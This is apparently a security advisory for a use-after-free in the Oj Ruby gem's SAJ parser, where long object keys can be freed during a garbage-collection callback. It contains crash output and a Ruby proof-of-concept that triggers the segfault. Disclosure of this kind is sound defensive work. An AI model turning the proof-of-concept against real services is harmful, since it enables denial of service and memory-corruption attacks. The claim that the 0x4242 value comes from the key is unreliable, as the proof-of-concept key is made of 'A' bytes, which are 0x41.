OSV 1.4.0 · github-reviewed · 修改于 2026-06-20 04:47
发布时间
2026-06-20 04:47
GitHub 审查时间
2026-06-20 04:47
NVD 发布时间
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源文件
advisories/github-reviewed/2026/06/GHSA-m578-w5vf-rfcm/GHSA-m578-w5vf-rfcm.json
Oj::Parser in SAJ mode does not protect cached object keys (≥ 35 bytes) from garbage collection. A Ruby callback that triggers GC inside hash_end can cause the key string to be reclaimed while the C parser still holds a pointer to it. The subsequent access to the freed string VALUE results in a segfault, confirmed by an RIP pointing to address 0x4242 (a canary-style pattern suggesting control over the freed memory's content).
ext/oj/saj2.c / ext/oj/parser.cShort keys (≤ 34 bytes) are stored inline on the C stack and are safe. Long keys (≥ 35 bytes) are stored as heap-allocated Ruby String objects passed to rb_funcall as the key argument. Between the key being resolved and the callback completing, a GC triggered inside the callback (e.g. GC.start) can collect the key String, leaving a dangling VALUE.
Crash output:
long_key_trigger
[BUG] Segmentation fault at 0x0000000000004242
close_object+0x260 /ext/oj/usual.c:405 (calls rb_funcall with freed key)
parse+0x11ff /ext/oj/parser.c:693
parser_parse+0x145 /ext/oj/parser.c:1408
RIP: 0x7fd1b46d68b7 RDI: 0x0000000000004242 (freed key VALUE)
R12: 0x0000000000004242
The freed VALUE 0x4242 shows the attacker-controlled content of the key string was loaded as a pointer — a classic use-after-free indicator.
require 'oj'
class H < Oj::Saj
def add_value(value, key)
GC.start(full_mark: true, immediate_sweep: true) if key == 'x'
end
def hash_start(key); end
def hash_end(key); end
end
p = Oj::Parser.new(:saj)
p.handler = H.new
p.parse('{"' + 'A' * 35 + '":{"x":1}}') # long outer key, GC fires on inner key